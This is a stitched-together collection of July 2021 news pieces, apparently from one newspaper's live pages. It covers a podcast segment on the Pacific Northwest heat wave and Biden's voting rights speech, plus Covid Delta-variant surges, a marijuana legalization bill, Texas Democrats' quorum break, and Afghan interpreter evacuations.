Essentially, he said, like, after this heat wave, it was so unusual, so extreme, were not sure we really understand heat waves anymore. Like, its really kind of jolted us in our certainty of the way heat waves behave.

astead herndon

Henry, it sounds like what youre saying is what really surprised you is the fact that the scientists themselves were surprised, and that they were saying the heat wave that was just experienced in the Northwest may have actually changed their understanding of how these operate. What exactly are we saying, though? How is this heat wave possibly different than ones that we have seen previously?

henry fountain

So what wed expect with a kind of quote, unquote, normal heat wave is that, as the average baseline temperature goes up, youd expect the hottest, record-breaking temperatures to go up at about the same rate more or less. But with this heat wave in the Pacific Northwest, the highest temperatures broke the record not by a couple of degrees, but by as many as 9 degrees. So the scientists are trying to figure out whats going on here, and they say theres really only two possibilities.

archived recording (geert jan van oldenborgh) The first one is the obvious one. Its that it was just a really, really rare event, and this region was unlucky.

henry fountain

Maybe its just this confluence of bad luck, as they put it.

archived recording (geert jan van oldenborgh) I mean, the Earth is a really huge place, and weird things happen or very improbable happen somewhere on Earth on a fairly regular basis.

henry fountain

The Pacific Northwest had a heat wave that was compounded by the drought thats been going on in the West, and the jet stream was acting funny or whatever, and maybe thats the case. And in that case, maybe its not such a concern.

archived recording (geert jan van oldenborgh) The second possibility is that we could be past the threshold that made these kind of heat waves certainly much more likely.

henry fountain

But if its some other mechanism, some other threshold idea, thats a concern. Maybe this one time of it now becomes once every five years or 10 years or once a year or whatever. So thats the fundamental issue theyre trying to figure out. More and more, I think this heat wave is a big deal. Its like a seminal event, really. Kind of like a big volcanic eruption or something, and its going to be studied for a long time because it was so unusual. And theyve got to figure out why.

astead herndon

So whats most alarming about their findings is that it could mean that we have hit a sort of tipping point.

henry fountain

Its not necessarily that weve hit a tipping point. But the thing that really stuns a lot of climate scientists, and it certainly stuns a lot of people, is how fast things are happening. Im guilty of this, too. Ive been writing about climate change for a while, and it was always like, yeah, the big impacts are going to be in the middle of the century. Well, the big impacts are starting now. And its obvious now that the impacts are hitting us, but it seems like theyre sort of accelerating. So whether weve passed a tipping point or not, I dont know. But were in a bad state right now where bad climate events are happening, and what we thought would happen in the future is happening now.

astead herndon

Hm. This makes me think back to the beginning of our conversation, when you were talking about all of those scientists who are rushing to get information out to the public after each of these extreme weather events. There seems to be an optimism at the core of that effort, a belief that, with a little more information, with a little more knowledge, that policymakers and the public will care more about this issue  will push people to do something. But I guess Im wondering, is that true? Is this really a problem of lack of information?

henry fountain

Well, a couple of things. Scientists are scientists, right? Theyre like men and women who believe in empirical thought and experimentation and getting data and analyzing it, and figuring out whats going on and explaining it. If theyre optimistic, they think theyre going to do what they can do, which is explain the world  the way it is, the physical world, the warming world  to people. And then there are some scientists who then take that and use it to go out and directly influence the policy makers, like they go lobby Congress or whatever. But theres a lot who just think, Im going to do my job, and then its up to the public and the publics elected officials to do their job and deal with it. And, you know, I think youve seen some of that. Scientists have gotten better about explaining whats going on more quickly. And this whole attribution study by this group  I mean, thats their goal. But whats really going to change peoples minds is the more theyre personally affected by things like heat waves or floods or droughts, particularly if they keep happening or if, God forbid, they lose a loved one to a flood or to a heat wave.

astead herndon

I guess the glass half full read is that, as these things like heat waves become more tangible in peoples lives, then something will be done. But that same view also means that a lot of bad things are going to happen to people before they really come to know the bad effects of climate change. And we know that the people who are most likely to experience those negative effects are the people who are most vulnerable in our communities  the people who are most unheard, the people who have the least amount of political power to do something about it.

henry fountain

You know, sadly, I think thats really true.

[music]

The poorest and most disadvantaged people in society tend to suffer the most from all kinds of climate-related disasters, and heat waves are really no exception. And what weve learned is that as the world continues to warm, heat waves are going to continue to increase in frequency and get hotter, and we may even see more events like this one in the Pacific Northwest with really off-the-charts, extreme heat. And that doesnt bode well for all of society, but its especially bad news for the poorest and disadvantaged among us.

astead herndon

Thank you, Henry, for your time.

henry fountain

Well, thanks. Nice talking to you.

[music]

michael barbaro

Well be right back. Heres what else you need to know today.

archived recording (joe biden) So hear me clearly. Theres an unfolding assault taking place in America today, an attempt to suppress and subvert the right to vote in fair and free elections. An assault on democracy, an assault on liberty, an assault on who we are  who we are as Americans.

michael barbaro

In a speech delivered on Tuesday in Philadelphia, President Biden issued his most forceful denunciation to date of Republican efforts to restrict voting in states across the country and to cast doubt on the legitimacy of his victory.

archived recording (joe biden) Bullies and merchants of fear, peddlers of lies are threatening the very foundation of our country.

michael barbaro

The speech was designed to reassure Democrats, who say Biden has failed to deliver on a promise to make voting rights a central theme of his presidency. And it comes as Republican lawmakers in Texas try to adopt voting restrictions over the objections of their Democratic colleagues, many of whom have fled the state to block the legislation.

archived recording (joe biden) Ill be asking my Republican friends in Congress and states and cities and counties to stand up for Gods sake and help prevent this concerted effort to undermine our election and the sacred right to vote. [APPLAUSE] Have you no shame?

michael barbaro

Todays episode was produced by Annie Brown, Jessica Cheung, Rachelle Bonja, Asthaa Chaturvedi and Austin Mitchell. It was edited by Liz O. Baylen and Paige Cowett, contains original music by Dan Powell and was engineered by Chris Wood. Special thanks to Shawn Hubler.

[music]
The Democrats bill proposes empowering the Food and Drug Administration and the Alcohol and Tobacco Tax and Trade Bureau at the Treasury Department to begin regulating the production, distribution and sale of marijuana. Among other implications, the changes would allow marijuana companies already operating in states where it is legal to gain full access to the United States banking system and claim federal tax deductions for business expenses.

The legislation would gradually institute a federal excise tax like the one on alcohol and tobacco sales, eventually as high as 25 percent for big businesses, allowing the federal government to benefit from sales that came close to $20 billion in 2020. The revenue would then be funneled back to communities most affected by federal drug policy and to fund expanded medical research into cannabis that is currently limited by its status as a controlled substance.

One provision, for instance, would establish a cannabis justice office at the Justice Department to help fund job training, legal aid and help with re-entry after incarceration. Another program would promote loans to small cannabis businesses owned by members of racially or economically marginalized groups to try to ensure that communities that suffered disproportionately under the war on drugs are not left out of the gold rush that has accompanied legalization.

But the bill would aim to make other, more direct attempts to compensate for the effects of years of aggressive policing. In addition to expunging past arrests and convictions, it would entitle those who are currently serving sentences for nonviolent federal drug crime to a court hearing to reconsider their sentences. And the federal government would no longer be able to discriminate against marijuana users seeking federal housing, food or health benefits.

The hypocrisy of this is that right here in the Capitol now people running for Congress, people running for Senate, people running for president of the United States readily admit that theyve used marijuana, Mr. Booker said. But we have children in this country, people all over this country  our veterans, Black and brown people, low-income people  now bearing the stain of having a criminal conviction for doing things that half of the last four presidents admit to doing.

The Democratic-led House passed similar legislation in December, with a handful of Republicans joining to vote in favor. The vote was the first and only time either chamber had endorsed the legalization of cannabis, but the bill died at the end of the last Congress. House leaders plan to pass an updated version in the coming months.

Passage through the Senate is likely to be more tricky. Mr. Schumer would need to assemble 60 votes, meaning he would need the support of at least 10 Republicans. Though libertarian-leaning Republicans have generally supported ending the prohibition of marijuana, party leaders are likely to oppose the Democrats plan, particularly with its emphasis on restorative justice and government intervention in the cannabis industry.
Some Republican Leaders Speak Up for Vaccines Virus cases are soaring in Indonesia, straining hospitals. In the United States, the Delta variant is widening the gulf between the vaccinated and unvaccinated, including in New York City, where cases are rising as the variant infects unvaccinated people, though hospitalizations and deaths remain low.

Some Republican leaders are speaking out in favor of Covid vaccines. Video transcript Back bars 0:00 / 1:09 - 0:00 transcript Senate Republican Leaders Promote Vaccinations Mitch McConnell, the Senate minority leader, and Senator Roy Blunt spoke on Tuesday about the slowing pace of vaccinations, calling on Americans to get inoculated in order to protect themselves and others. Im perplexed by the difficulty we have in finishing the job. If youre a football fan, were in the red zone, but were not in the end zone yet, and we need to keep preaching that getting the vaccine is important. Nobody knows more about that than Senator Blunt. I dont know if you want to add anything Roy to what Ive said here, but we need to finish the job. And its, part of it is just convincing the American people of the importance of doing this. Everyone who knows this subject says that if you get the disease again, chances are pretty good youre not going to die from it if you get vaccinated. So I dont know how many times we have to keep saying it, but for myself, I intend to keep saying it over and over and over again. Roy, do you want to? Well, I think, I think, leader, that the point is that you cant just expect that if everybody else is going to get the vaccine and somehow thats going to protect you, that actually might be the case. But were at a critical moment here where the way to stop this is to be sure it has nowhere that it can continue to spread to other people. Mitch McConnell, the Senate minority leader, and Senator Roy Blunt spoke on Tuesday about the slowing pace of vaccinations, calling on Americans to get inoculated in order to protect themselves and others. Credit Credit... Sarahbeth Maney/The New York Times As the Delta variant rips through conservative swaths of the country, some elected Republicans are facing growing pressure from public health advocates to speak out  not only in favor of their constituents being inoculated against the coronavirus but also against media figures and elected officials who are questioning the vaccines. We dont control conservative media figures so far as I know  at least I dont, Senator Mitt Romney, Republican of Utah, said in an interview on Wednesday. That being said, I think its an enormous error for anyone to suggest that we shouldnt be taking vaccines. Look, the politicization of vaccination is an outrage and frankly moronic. Republican senators who favor vaccination are still taking pains not to mention the names of colleagues, such as Senators Ron Johnson of Wisconsin and Rand Paul of Kentucky, who have given voice to vaccine skepticism, or media personalities like Fox News Channels Tucker Carlson, who expresses such skepticism almost nightly. Vaccines are indeed effective against the Delta variant, and nationwide, the numbers remain at some of the lowest levels since the beginning of the pandemic. Still, with cases ticking upward, driven by localized outbreaks in places with low vaccination rates  Arkansas, Missouri, Texas and Nevada  Republican leaders are talking. As a polio victim myself when I was young, Ive studied that disease, Senator Mitch McConnell of Kentucky, the Republican minority leader, said on Tuesday. It took 70 years  70 years  to come up with two vaccines that finally ended the polio threat. As a result of Operation Warp Speed, we have not one, not two, but three highly effective vaccines, so Im perplexed by the difficulty we have finishing the job. If youre a football fan, Mr. McConnell said, were in the red zone. But were not in the end zone yet. And we need to keep preaching that getting the vaccine is important. Still, when asked about his conversations with vaccine skeptics in the Senate Republican Conference, Mr. McConnell demurred. I can only speak for myself, and I just did, he said. Senior Republicans are clearly walking a fine line. They cannot afford to see a resurgent coronavirus disproportionately hurt conservative voters, who have been fed a diet of misinformation about vaccines by right-leaning news outlets and commentators. But they cannot afford to alienate them either. Senator John Cornyn, Republican of Texas, said on Wednesday that much of the skepticism surrounding vaccines is based on conspiracy theories, unfortunately. I do acknowledge the right of an individual to decide whether theyre going to get the vaccine, he said, but what Ive tried to do is encourage everybody to get the vaccine. On Wednesday, a group of Republican senators and House members introduced legislation to repeal mask mandates on public transport, dismissing the spread of the virus. The viral spread is collapsing and our normal lives are returning, declared Representative Andy Biggs, Republican of Arizona. Mr. Cornyn drew a distinction between densely populated urban areas like Houston and Dallas, where he said mass vaccination is vital, and smaller, spread out cities like Odessa and Midland where social distancing is not a problem, let me say. The virus has not drawn that distinction. Some of the fastest growth is happening in smaller cities and rural regions, like parts of southern Missouri and northern Arkansas. Mr. Romney tried to appeal to supporters of former President Donald J. Trump in those areas. People who support him applaud the fact that he moved heaven and earth to get vaccines developed on a timely basis, Mr. Romney said. He accomplished that, and not taking advantage of that would be an insult to the accomplishment. As to his message to vaccine skeptics in his conference, Mr. Romney said, They know where I stand.

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New Yorks official virus death toll is 11,000 lower than what the U.S. has counted. Heres why. A patient being wheeled on a stretcher to a waiting ambulance outside Elmhurst Hospital in Queens in April 2020. Credit... Ryan Christopher Jones for The New York Times For more than a year since the coronavirus outbreak, New York State officials have stuck with an approach that has allowed the state to report a lower and incomplete death toll. The number of deaths reported on the states online dashboard, and during Gov. Andrew M. Cuomos coronavirus briefings, includes only people who died at hospitals, nursing homes and adult-care facilities, but not, for example, at home or in prisons. The toll also includes only deaths that were confirmed with a coronavirus test by a lab. New Yorks methodology differs from that of many other states, as well as the federal governments National Center for Health Statistics, which uses more precise criteria to assemble state-by-state death tolls, relying on death certificates submitted by state health departments. Now, the effect of New Yorks more constrained count has begun to show: The states official virus death toll as of Wednesday was about 43,000, compared with the death toll of more than 54,000 compiled by the N.C.H.S., which is part of the Centers for Disease Control and Prevention. New York is not alone: At least half the states, including California and Texas, have publicly reported a lower number of deaths than the N.C.H.S. But other states with lower death tolls were below the N.C.H.S. number by about 3,000 or fewer; nowhere is the gap between the reported deaths larger than the 11,000-death discrepancy in New York, according to a New York Times analysis. The disparity in the death tolls underscores the lasting and painful difficulties of accounting for the full scope of coronavirus fatalities, even as much of the governments response has turned toward expanding the vaccine rollout and the nations reopening and recovery. The wide variance in New York also comes as Mr. Cuomo is facing a series of state and federal investigations into his administrations efforts to obscure the toll of nursing home deaths during the pandemic.

The caseload in Indonesia has been skyrocketing, setting daily records. Health care workers moving a woman outside an emergency room overrun with Covid-19 patients in Central Java. Credit... Ulet Ifansasti/Getty Images Indonesia reported more than 54,500 coronavirus cases on Wednesday, its third record daily rise in a row as the country has surpassed Indias current daily caseload. A seven-day rolling average of daily cases in the two countries showed them running neck and neck, but Indias caseload has been steadily declining while Indonesias has been skyrocketing, according to data collected by the Center for Systems Science and Engineering at Johns Hopkins University. Over the past few weeks, hospitals on Java island have overflowed with patients and residents have scrambled to buy medical oxygen to treat family members at home. Hundreds of people have been reported to have died of the virus at home because of a lack of oxygen and as a result of an overwhelmed health care system. Based on the last three days data, I can say clearly that Indonesia has become the new epicenter in the world, said Dicky Budiman, an Indonesian epidemiologist at Griffith University in Australia, who has long urged the Indonesian authorities to implement firmer measures to control the spread of the virus. Over the past two weeks, the daily numbers of infections have nearly doubled, and on Wednesday, Indonesia reported 991 new deaths. Video Indonesia reported more than 54,500 new virus cases on Wednesday, its third record daily rise in a row as oxygen is in short supply. Credit Credit... Ulet Ifansasti/Getty Images Experts believe that the Delta variant is behind the surge in cases in Indonesia, the worlds fourth most populated country. By contrast, Indias daily case count, which peaked at more than 414,000 in early May, has fallen to about 40,000. The outbreak in Indonesia is the latest example of the widening gap between Western countries and other nations during the pandemic. Countries like Britain and the United States have reopened their economies and so far have been able to absorb a surge in cases with limited hospitalizations and deaths thanks to successful vaccine rollouts. Others, like India and now Indonesia, have lagged behind in vaccinations and face devastating consequences from Deltas spread. Studies suggest that vaccines remain effective against the Delta variant, but only 13 percent of Indonesias population of 270 million has received one dose of a coronavirus vaccine, while less than 6 percent has been fully vaccinated, according to the Our World in Data project at the University of Oxford. By comparison, nearly half of the U.S. population has been fully inoculated, and on Wednesday Britain passed the threshold of having vaccinated two thirds of its population. In Indonesia, most injections came from the Sinovac Biotech vaccine; at least 20 Indonesian doctors who were fully vaccinated with Sinovac have died from the virus. The neighboring Philippines, which also has struggled to contain the virus, has banned arrivals from Indonesia, and other countries, including Japan and Saudi Arabia, have begun evacuating their citizens from Indonesia. On Sunday, Indonesia received three million doses of the Moderna vaccine donated by the United States. Indonesian officials said that the first priority for these doses would be to give booster shots to nearly 1.5 million health workers.

Vaccination efforts in Haiti and Cuba are complicated by unrest and protests. A police checkpoint in Port-au-Prince, Haiti, a country in turmoil after its president was assassinated. A sign above encourages efforts to stop the coronavirus. Credit... Federico Rios for The New York Times The continuing political unrest in Haiti and the recent wave of street protests in Cuba risk making already tenuous efforts to contain the Covid-19 pandemic even more difficult, officials from the World Health Organization warned. We are concerned about Haiti, which, in the midst of considerable political turmoil, has seen thousands of people displaced by ongoing violence and instability, Carissa Etienne, the director of the Pan American Health Organization, which is part of the W.H.O., said, warning that crowded shelters could become active hot spots for Covid transmission. A shortage of medical supplies across the country and the violence sparked by the assassination of President Jovenel Moise of Haiti last week are also hindering the ability to safely care for patients in need, Dr. Etienne said, adding that in some cases, patients may be avoiding seeking care due to safety concerns. Haiti is one of the few countries in the world that has yet to administer any Covid vaccines. On Wednesday, Haiti received 500,000 doses of the Moderna vaccine donated by the United States through the Covax vaccine-sharing initiative, the first doses to reach the country, PAHO said. Cuba is the latest country in the region, after others including Brazil and Colombia, to experience waves of protests due in part to the impact of this pandemic, Dr. Etienne said. Protesters in Cuba took to the streets in droves this past weekend in demonstrations that have been described as the largest in decades, leading to a stringent crackdown. Covid-19 has not just ravaged our health systems, it has fractured social protection programs and destabilized our economies, Dr. Etienne said. More than a third of people in the Latin American and Caribbean region are living in poverty and countries must continue prioritizing health and social safety nets as part of their Covid response, she added. In Cuba, which recently reported its highest number of weekly cases since the start of the pandemic, the protests are raising fears that they will exacerbate exposure to the virus. The agglomeration of people due to protests for political, religious, cultural or sporting reasons increases the risk of transmission, particularly if, as is the case in Cuba, there is active transmission in many parts of the country, Ciro Ugarte, PAHOs director of health emergencies, said. Throughout Cuba, all the municipalities are in community transmission and health authorities have confirmed the presence of the highly contagious Delta variant in several locations across the island, Dr. Ugarte said. Cuba reported that 27 percent of its population had received at least one dose of either of its two homegrown vaccines as of July 10. Cases of Covid-19 have also spiked in other Caribbean nations, including the British Virgin Islands, which has seen cases triple weeks after it opened the country to cruise ships. The region accounts for more than a third of Covid-19 cases and more than 40 percent of deaths reported worldwide this past week, Dr. Etienne said. The region continues to suffer from a lack of vaccines and only one in seven people in Latin America and the Caribbean have been fully vaccinated. Money, more than public health, has determined how quickly countries can secure the tools that they need to combat this virus, Dr. Etienne said.

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Londons mayor says masks will remain mandatory on public transport. Video transcript Back bars 0:00 / 0:45 - 0:00 transcript London Will Still Require Masks on Public Transit, Mayor Says Mayor Sadiq Khan of London said face masks would continue to be mandatory on the citys subways and buses after July 19, when England plans to lift most coronavirus restrictions. I think after Monday, we should continue making it compulsory to wear a face mask on public transport, where often you cant keep your social distance. It adds an additional layer of protection, but also reassurance. The evidence we know from the governments own scientific advisers, the evidence from the World Health Organization, is you wearing a face mask, makes it less likely that the virus can be passed on. It reduces transmission in an indoor space where you cant keep your distance. But also the Centers for Disease Control in the U.S.A. have now said actually, on top of it being the most unselfish thing you can do, wearing a face mask may reduce the chances of you catching the virus. So for me, its really important that we make sure public transport continues to be both safe, but also reassuring. Mayor Sadiq Khan of London said face masks would continue to be mandatory on the citys subways and buses after July 19, when England plans to lift most coronavirus restrictions. Credit Credit... Andrew Testa for The New York Times Face masks will continue to be mandatory on Londons subways and buses even after the government lifts the legal requirement to wear them on July 19, the citys mayor, Sadiq Khan, said on Wednesday. Mr. Khans announcement puts the London rules at odds with those announced by Prime Minister Boris Johnson, who is pushing ahead with a plan to lift almost all Covid restrictions in England, even as coronavirus infections surge and hospital admissions begin to mount. Adding to the messaging confusion, Mr. Johnson has encouraged people to continue wearing masks in crowded and confined places even though, under the relaxed rules he announced, it will no longer be a legal requirement. Mr. Khan, who is in the opposition Labour Party, said that wearing a face mask would be a condition of using Londons sprawling public transportation system, which includes the Tube, buses, overground trains, and light rail networks. Passengers who refuse to put one on will be ordered to leave the system. The wearing of face coverings helps reduce the spread of Covid, and crucially gives Londoners confidence to travel  vital to our economic recovery, Mr. Khan said on Twitter. My mask protects you, your mask protects me. Mr. Khan said that masks would also remain mandatory in taxis and ride-hailing services. Mr. Khan expressed optimism in television interviews that people would abide by the rules. Most riders on the subway and buses wear masks, but some public-health officials worry that behavior could change quickly if they were no longer compulsory. Officials in other cities have expressed fears that the governments relaxed rules will contribute to a further surge in infection rates. In Manchester, the citys Labour mayor, Andy Burnham, is also weighing a legal requirement to continue wearing masks on the public transportation system. Mr. Johnson has argued that, with vaccines widely deployed in the adult population, England must stick with plans to reopen its economy fully and shift the emphasis from legal restrictions to personal responsibility. Nonetheless, the British health minister, Sajid Javid, acknowledged that infections could soar to more than 100,000 a day later in the summer. On Tuesday, Britain reported 36,660 new cases, a 27 percent increase over the same day last week.

Virus cases rise in New York City as the Delta variant infects the unvaccinated. A mobile vaccination site in Brooklyn last month. In the past week, New York City had a stretch of several days of 400 or more coronavirus cases. Credit... Michael M. Santiago/Getty Images Fueled by the Delta variant, daily coronavirus case counts in New York City have climbed in recent days, even as the city seems determined to turn the page on the pandemic. Just a few weeks ago, there were only 200 new cases a day across the city on average, the lowest level since the early days of the pandemic. But in the past week, the city had a stretch of several days of 400 or more cases. And the test positivity rate has doubled: from below 0.6 percent on average to about 1.3 percent. Those numbers are still low, but the increase has been swift, surprising some epidemiologists and public health officials who had not expected to see cases jump so quickly after remaining level through June. With some 64 percent of adults in the city fully vaccinated, epidemiologists say it remains unlikely that the Delta variant will create conditions as devastating as the past two waves of Covid-19. Still, Denis Nash, an epidemiologist at the City University of New Yorks Graduate School of Public Health and Health Policy, calls the recent uptick concerning. The Delta variant is far more contagious than the original form of the virus that swept across the city in March 2020. It was detected in a few cases in New York City in February during the second wave, but it really made inroads over the past two months. By the end of May, it accounted for about 8 percent of the cases sequenced by the city, and by mid-June, more than 40 percent. Countries around the world  and many U.S. states  are experiencing a surge as a result of the spread of the Delta variant. In Britain, where vaccinations surpass the U.S. rate, cases have soared but hospitalizations have risen more slowly. The metrics to keep a close eye on are hospitalizations and deaths, said Dr. Wafaa El-Sadr, a professor of epidemiology at Columbia University. Those numbers have remained stable in New York City. The seven-day average number of daily hospitalizations this week has stayed under 20. The city has recently seen four or five Covid-related deaths a day on average. Other U.S. cities areas have seen similar surges in infections. On Tuesday, Los Angeles County recorded its fifth day in a row with more than 1,000 new coronavirus cases, with health officials attributing the rise to the Delta variants spread among the unvaccinated. Health officials in New York City have tended to focus on Staten Island, where vaccination rates are below the city average, wearing masks is unpopular and positivity rates tend to exceed the city average. Four ZIP codes in Staten Island have had more than 100 cases combined in the past week. But case counts have climbed significantly in every borough. In Brooklyn, average daily case counts nearly doubled in recent weeks from under 60 to more than 100. On Tuesday, the ZIP code that had the highest average positive test rate in the city was in Harlem. Health officials have said that the vast majority of those testing positive have not been fully vaccinated. So far, the Delta variant has not led the city to drastically change its public health guidance or virus-related restrictions. Nor has it affected the plans of many large companies to get workers back to their desks in Manhattan, according to Kathryn Wylde, president of the Partnership for New York City, a leading business association.

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New N.Y.C. data looking at the first half of the year shows how few fully vaccinated people were infected. Walking past a mobile vaccination site in Brooklyn on Tuesday. Credit... Spencer Platt/Getty Images Vaccines offered powerful protection against the coronavirus in New York City, blunting the second wave of the virus and saving an estimated 8,300 lives between December of last year and July of this year, according to a new study by Yale University epidemiologists released by the city on Wednesday. The study underscored that the real-world performance of the vaccines can meet and even exceed trial results in preventing virus cases, hospitalizations and deaths, the city said. Only 1.1 percent of the 500,300 virus cases during the first six months of this year were among people who were fully vaccinated, according to data from the citys health department also released Wednesday in support of the study. Yet the data was also a reminder the protection was not perfect. A total of 94 fully vaccinated New Yorkers died from the virus between January and mid-June, compared with 8,069 deaths among the unvaccinated, the city reported, though it did not include specific demographic information. Vaccines are safe and astonishingly effective at protecting you and your loved ones, said the citys health commissioner Dr. Dave A. Chokshi, in a statement accompanying the release of the study. The stakes are so high, and we simply cannot emphasize enough how urgent it is for New Yorkers to get vaccinated. One important caveat is that most of the period of the study was before the Delta variant became the predominant variant in the city, according to the limited amount of genetic analysis of cases being done by the city each week. Studies suggest that vaccines remain effective against the Delta variant, though cases among those who are vaccinated tend to be mild or asymptomatic, the World Health Organizations chief scientist said this week. Because of vaccines, health experts dont expect the recent increase in cases to reach the levels seen in New York Citys first and second waves. The protection of vaccines remains powerful. A Public Health England analysis, which has not yet been peer reviewed, showed that Pfizer-BioNTech vaccine was 88 percent effective against symptomatic disease and 96 percent effective against hospitalization from Delta, just slightly lower than against older variants. Moderna also reported on early studies showing only a modest reduction of antibody protection against the Delta variant. The data released Wednesday represented the most comprehensive look yet at breakthrough infections in New York City. In all, the city reported that about 5,300 fully vaccinated people were infected and 583 fully vaccinated people were hospitalized in New York with Covid-19 between January and June. The picture is more complete than what is being released nationally, as it included mild cases, while the Centers for Disease Control and Prevention said it is only tracking serious breakthrough infections that result in hospitalizations or deaths. Far more vaccinated people, however, avoided the illness. The Yale study, which was done independently of the citys researchers, used statistical modeling to estimate that the citys vaccination campaign prevented about 250,000 cases in New York City, and 44,000 people from being hospitalized. The study is not yet published, and has just been submitted for peer review, the city said.

global roundup Cases surge in the Netherlands weeks after bars and restaurants reopened. Amsterdam in February. New daily cases in the Netherlands increased from 500 on June 25, a day before restrictions were dropped, to over 10,000 on Saturday. Credit... Peter Dejong/Associated Press New coronavirus cases in the Netherlands skyrocketed by more than 500 percent last week, according to the health authorities, a surge in cases that forced the countrys prime minister, Mark Rutte, to publicly apologize on Monday for having lifted restrictions too hastily. As new daily cases increased from 500 on June 25, a day before restrictions were dropped, to over 10,000 on Saturday, Mr. Ruttes government reimposed several measures, including ordering clubs and bars to close at midnight and reinstating a policy to serve only seated and spaced customers. On Monday, Mr. Rutte said he was sorry about the previous lifting of the measures. We thought it was possible, but it wasnt, he said. Mr. Ruttes government had reopened most of the countrys economy on June 26, pushing forward a projected date for easing restrictions by three weeks. Clubs, bars and restaurants reopened under a government-sponsored testing plan that in many cases failed to work because some bouncers and other staff members had not been properly trained. Mask mandates were also lifted except on public transport, in high schools and airports. In the weeks that followed, the health authorities reported more than 100 superspreader events, including in clubs, on party boats and in student societies. More than 1,000 people were infected at a festival that gathered 20,000 people in the city of Utrecht this month. As of Wednesday, around 65 percent of the population in the Netherlands has received at least one dose of a coronavirus vaccine, and 39 percent have been fully vaccinated, according to a New York Times tracker. In other news from around the world: In Australia , the authorities in Sydney said that the citys strict lockdown would be extended until at least the end of the month after another 97 infections were reported on Wednesday. The restrictions had been scheduled to end on Friday, but an outbreak driven by the Delta variant has yet to subside, leading to an extension of stay-at-home orders and remote schooling for the city of five million people and nearby areas. Gladys Berejiklian, the top official for the state of New South Wales, which includes Sydney, said that at least 24 of the 97 cases were infectious and still circulating in the community. Until that number gets close to zero, she said, the restrictions would have to remain in place.

A cruise ship returned to Singapore on Wednesday after a 40-year-old passenger tested positive for the virus, The Straits Times, a Singaporean newspaper, reported. Nearly 3,000 passengers and crew members were isolating in their cabins as the health authorities conducted contact tracing. The infected passenger, who was fully vaccinated, was identified as a close contact of a coronavirus case in Singapore and tested positive during the four-day cruise to nowhere, which had departed on Sunday, the newspaper reported.

Spains health ministry has decided to allow pharmacies to sell self-testing kits for coronavirus to individuals without clearance from health clinics, in a bid to better trace the spread of the disease as the countrys virus infection rate has soared in recent weeks.The authorization follows a long political battle over whether pharmacies should be enlisted into Spains testing efforts. The central government had opposed the idea until recently, arguing that pharmacists were ill-equipped to handle tests and that encouraging sick people to go to stores to buy test kits might create new infection clusters. The main doctors associations of Spain had also long rejected demands that tests be offered outside health clinics or carried out at home. Thomas Erdbrink, Damien Cave, Shashank Bengali and

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WASHINGTON  After years of resistance from Pentagon leaders, Senator Kirsten Gillibrand, Democrat of New York, appeared to be nearing victory on a major change to how the military handles sexual assault cases. But her emphasis on the inclusion of all serious crimes in the measure as a matter of racial justice now threatens to weaken her support.

Ms. Gillibrands push to remove commanders from decisions in the prosecution of sexual assault cases had gained bipartisan backing despite opposition from military leaders. Last month, President Biden and Defense Secretary Lloyd J. Austin III endorsed a similar change recommended by an independent military panel.

But Mr. Austin and some of Ms. Gillibrands strongest allies in Congress on this issue are balking at the more extensive changes to the military justice system. Some lawmakers say they had only recently focused on the particulars of the measure after months of discussions.

Her bill is far broader than I had realized, said Senator Susan Collins, Republican of Maine and an early proponent of Ms. Gillibrands measure. I believe shes made a compelling case on sexual assault and related allegations to be taken out of the chain of command.
Day 2 of the Texas Democrats campaign in Washington to pressure Congress to enact federal voting rights protections was much like the first: packed with meetings with supportive senators, cable television appearances and a news conference.

This time, it was Democratic state senators who stood before cameras on Wednesday inside a conference room at a Washington hotel  the event was moved indoors from outside the Capitol to avoid the midday heat  to reiterate their pledge to remain outside Texas until the states special legislative session expires next month.

The contingent of reporters who gathered for the event was far smaller than the press corps that congregated outside the Capitol a day earlier to see Texas state representatives at their first appearance in Washington.

The Democratic state senators echoed their State House colleagues, who have blocked Republicans from doing business by denying a quorum to operate, in arguing that they were in Washington on a working trip, not a vacation, as Republicans have portrayed the trip. The State House Democrats came to Washington in an effort to stop Republicans from enacting new restrictions to voting laws in Texas; the partys state senators failed to deny a quorum in that chamber because four of their colleagues stayed in Austin.
More than 18,000 Afghans who have worked as interpreters, drivers, engineers, security guards, fixers and embassy clerks for the United States during the war have been trapped in bureaucratic limbo after applying for special immigrant visas, available to people who face threats because of work for the U.S. government. The applicants have 53,000 family members, U.S. officials have said.

Last month, when he announced his plan to assist the Afghans who had aided American forces, Mr. Biden insisted that his administration would not be leaving them to fend for themselves.

Those who helped us are not going to be left behind, he said at the time.

The question now is where they will go once they are evacuated. John F. Kirby, the Pentagon press secretary, told reporters on Wednesday that officials may potentially house some of the Afghan visa applicants at bases inside the United States on a short-term basis while their applications are processed. This would most likely be through humanitarian parole, a government program that allows people to apply to enter the United States for urgent humanitarian reasons.

I would say that the reason why were being careful about the information were putting out is because just like weve been careful about the information regarding the U.S. drawdown, Mr. Kirby said, we dont want to see anybody get hurt.

The vast majority of applicants and their families would go through the relocation process and be moved to an American base in another country. The options include Qatar, Kuwait and bases throughout Europe, as well as U.S. territories, including Guam.

The mission fulfills a pledge by Mr. Biden to not repeat the abandonment of U.S. allies during the withdrawal from Vietnam, and comes as the Taliban gain more ground throughout Afghanistan, seizing swaths of territory, displacing tens of thousands, and wounding or killing hundreds of civilians.

But among former Afghan interpreters, the news was greeted with skepticism.

Theyve promised a lot, and so far theyve given nothing, said Omid Mahmoodi, a former interpreter. Im still not believing it. There are thousands who will be left behind.
Harris County, which includes Houston, is the states most populous county, with more than four million people, followed by Dallas County, with more than 2.6 million. Travis County, which includes Austin, the state capital, is the fifth most populous, with about 1.2 million people.

The winter storm swept across Texas in mid-February, plunging the state into freezing cold and pushing the power grid to the brink of collapse. Millions of residents were forced to boil water, use generators, huddle in idling cars for heat and scour for wood to feed fires during some of the most frigid weather recorded in state history.

Initial estimates for the death toll were 57 in mid-March, but the toll continued to climb as the months unfolded, reaching 111 at the end of the month, department figures show. It was revised twice in April until it reached 151.

Epidemiologists continue to scrutinize death certificates, linking causes of death to the storm, the department said. Another update will most likely come next month before the health department issues a final report, Douglas Loveday, a department spokesman, said on Wednesday.

The scale of loss ranked the storm far above other disasters in the state, even worse than Hurricane Harvey, which claimed at least 68 lives in 2017.
As the central government began easing enforcement of the policy in the early 2000s  before ending it in 2015  reported abductions fell sharply. Technological advances such as a nationwide DNA database of missing children, stiffer criminal penalties and greater public awareness of child trafficking have also helped curb the problem, said Zhang Zhiwei, executive director of an anti-trafficking center at the China University of Political Science and Law.

